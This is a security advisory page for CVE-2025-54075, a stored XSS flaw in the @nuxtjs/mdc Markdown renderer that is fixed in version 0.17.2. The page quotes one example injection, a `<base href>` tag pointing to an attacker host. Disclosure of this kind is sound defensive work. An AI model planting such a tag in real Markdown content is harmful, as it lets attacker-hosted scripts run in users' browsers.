Skip to main content
← All vulnerabilities
CVE-2025-54075GHSA-CJ6R-RRR9-FG82

mdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)

Published
Last modified
published
Not listed in CISA KEV
Fix
Fixed in 0.17.2
None on Exploit-DB, Metasploit or GitHub
  • Exploitation: poc
  • Automatable: yes
  • Technical impact: partial

Summary

MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.

Timeline

  1. CVE published
  2. CISA SSVC assessment

    Exploitation: poc · Automatable: yes · Technical impact: partial

  3. Record last updated

Affected versions

  • nuxt-modules mdc

    fixed in 0.17.2

  • @nuxtjs/mdcnpm

    fixed in 0.17.2

References 2

GitHub · nuxt-modules/mdc